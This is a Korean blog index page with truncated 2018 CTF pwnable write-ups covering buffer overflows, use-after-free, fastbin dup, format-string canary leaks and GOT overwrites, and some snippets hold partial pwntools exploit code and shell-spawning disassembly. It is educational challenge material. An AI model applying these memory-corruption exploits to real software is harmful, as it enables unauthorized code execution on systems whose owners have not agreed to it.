일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- shellcraft
- PMA
- practicalmalwareanalysis
- Toddler's Bottle
- pwnable
- pwn
- ASM
- format
- Bug
- Leak
- string
- rev
- reversing
- 2018
- Read
- anti
- BOF
- pico
- pwnable.kr
- writeup
- shellcode
- Rookiss
- Reverse
- toddler
- FSB
- CTF
- TUCTF
- CANARY
- Bottle
- picoCTF
- Today
- Total
목록2018 (36)
제리의 블로그
sdhsroot 2018 PWN R00T_SCHool 목차 1. 요약 2. 기초 분석 3. level1 (BOF) 4. level2 (UAF) 5. level3 (fastbin dup) 6. 익스 코드 요약3 단계로 이루어져 있는 pwnable 바이너리이고 libc.so.6 이 제공되었다. 1단계 - BOF (RET를 덮는게 아니라 지역 변수를 덮음) 2단계 - UAF (malloc size 0x40 으로 고정) 3단계 - fastbin dup (malloc size 지정할 수 있음) 기초 분석 $ sha256sum ./ROOTschool.zip ./R00T_SCHool ./libc.so.6 ab84d6961237d5c29938d42b0877f92ad6c0228cdd42b8fef0104ebfa9de09c..
TUCTF 2018 PWN Lisa 요약1-byte overflow(?) 문제이다. RET 를 1-byte 만 변조할 수 있다. strcmp(input, password); 를 만족하면 FLAG 가 주어지는 방식인데 input 은 사용자의 입력을 받는 부분이고 password(share) 는 우리가 알 수 없는 값이다. RET 를 main+0xD5 로 덮어주면 read 함수를 실행하기 바로 직전이 되는데 32 bit 바이너리의 cdecl 함수 호출 규약에 따라 스택 영역에 fd, buf, nbytes 를 공격자의 입맛대로 넣어주기만 하면 원하는 공간에 덮을 수 있다. password 의 주소는 바이너리에서 친절하게 주어졌기 때문에 password 를 덮어씌워 input 값과 똑같이만 만들면 된다. fro..
TUCTF 2018 PWN Timber 요약이번 문제에는 모든 함수에 canary 가 존재한다. 이름 입력하는 부분에서 포맷스트링버그(FSB)가 있다. 포맷스트링으로 canary 를 leak 할 수 있다. 알아낸 canary 로 덮고 RET 를 쉘을 주는 date() 라는 사용자 정의 함수로 덮어주면 된다. from pwn import * e = ELF('./timber') r = e.process() r.recvuntil(': ') # canary leak. FSB r.sendline('%20$p') r.recvuntil(' ') canary = int(r.recvline(), 16) log.success(hex(canary)) r.recvuntil('? ') r.sendline('s') # Super..
TUCTF 2018 PWN shella-hard 요약안티 디스어셈블링(?) 기법이 적용된 바이너리였다. 심볼 중에 giveShell 이라는 사용자 정의 함수가 있었다.BOF 를 통해서 RET 를 덮는 방식으로 giveShell 을 불러봤으나 쉘을 따지지 않았다.giveShell 을 자세히 보니 코드가 깨져있는것처럼 보였고살짝만 바꿔주면 execve("/bin/sh", 0, 0); 가 보인다.해당 주소로 리턴시켜주면 된다. .text:08048458 public giveShell .text:08048458 giveShell proc near .text:08048458 push ebp ; path .text:08048459 mov ebp, esp .text:0804845B nop .text:0804845B ..
TUCTF 2018 PWN Canary 요약이번 문제는 전역변수가 0 으로 초기화 된다는 점을 이용하여 canary 를 0 으로 맞추고 RET address 를 코드영역의 system("/bin/cat ./flag"); 로 돌리면 되는 문제이다. checkCanary() 함수를 보면 *(_DWORD *)(a1 + 40) 과 cans[*(_DWORD *)(a1 + 44)] 가 같은지 다른지에 따라 stack smash check 를 한다. a1 의 구역은 스택의 영역이고 cans 의 영역은 전역변수의 영역(.bss) 이다. 전역변수 cans[0] 에는 "/dev/urandom" 값이 저장되어 예측이 불가능하다. 그런데 cans 는 배열이므로 cans[1] 이상은 아직 0 으로 초기화되어있는 상태이다. 따라..
TUCTF 2018 PWN shella-easy $ ./shella-easy Yeah I'll have a 0xff81fcb0 with a side of fries thanks 프로그램을 실행시켜보면 오프셋을 보여준다. int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [sp+0h] [bp-48h]@1 unsigned int v5; // [sp+40h] [bp-8h]@1 setvbuf(stdout, 0, 2, 0x14u); setvbuf(stdin, 0, 2, 0x14u); v5 = 0xCAFEBABE; printf("Yeah I'll have a %p with a side of fries thanks\n", &s)..
are you root? - Points: 550 - (Solves: 253) DescriptionCan you get root access through this service and get the flag? Connect with nc 2018shell2.picoctf.com 41208. Source.HintIf only the program used calloc to zero out the memory..auth.c#include #include #include #include typedef enum auth_level { ANONYMOUS = 1, GUEST = 2, USER = 3, ADMIN = 4, ROOT = 5 } auth_level_t; struct user { char *name; a..
SECCON 2018 qualsClassic Pwn121 pt 197 Solvers 요약canary 가 없는 BOF 문제였으며fastcall 방식의 함수 호출규약을 따르기 때문에 gadget 을 모은 다음libc 주소를 leak 하고one_gadget 을 사용하여 쉘을 획득한다. leak 과 쉘 획득을 위한 공격을 동시에 하기 위해서는main 함수로 return 하도록chaining 을 통해 loop 를 만들어 준다. Description Host: classic.pwn.seccon.jp Port: 17354 classic libc-2.23.so $ sha1sum * aa9e979fd5c597526ef30c003bffee474b314e22 classic 56d992a0342a67a887b8dcaae381..
Baby Reverse (Category: Reverse) Author(s): Staubfinger Solves: 63 요약직접 어셈 단에서 짜서 컴파일한 바이너리가 제공된다.printf(), scanf() 대신 syscall 을 이용한 SYS_write, SYS_read 가 사용되었다. 바이너리는 0x2e 만큼의 문자열을 입력받아서XOR 연산 결과가특정 테이블(0x40010C)과 같은지 비교하여 검증한다. XOR 은 A ^ B = C 이면 A ^ C = B 이고 교환법칙이 성립한다.어렵지않게 역연산을 해서 풀었다. Difficulty: baby Hey there! Disclaimer: This chall is intended for new gamers only ;-)! You veterans got p..
echo back - Points: 500 - (Solves: 206) 요약본 Writeup 은 포맷 스트링(FSB)를 다룹니다. 문제에서 바이너리와 접속정보가 주어집니다.소스 코드가 없기 때문에 바이너리를 분석해야 합니다. 바이너리엔 FSB 취약점이 있었고system() 함수가 사용되고 있었습니다. 사용자 정의 함수 vuln() 함수는read(0, buf, 0x7f);printf(buf);puts("\n");위와 같은 코드로 구성되어 있었습니다. FSB 를 이용하여GOT Overwrite 를 합니다.puts@GOT 를 0x080485E1 로 덮어서 loop 를 만들어주고printf@GOT 를 system@plt 로 만들어준 다음 변수 buf 에 "/bin/sh" 를 넣으면printf 함수가 system..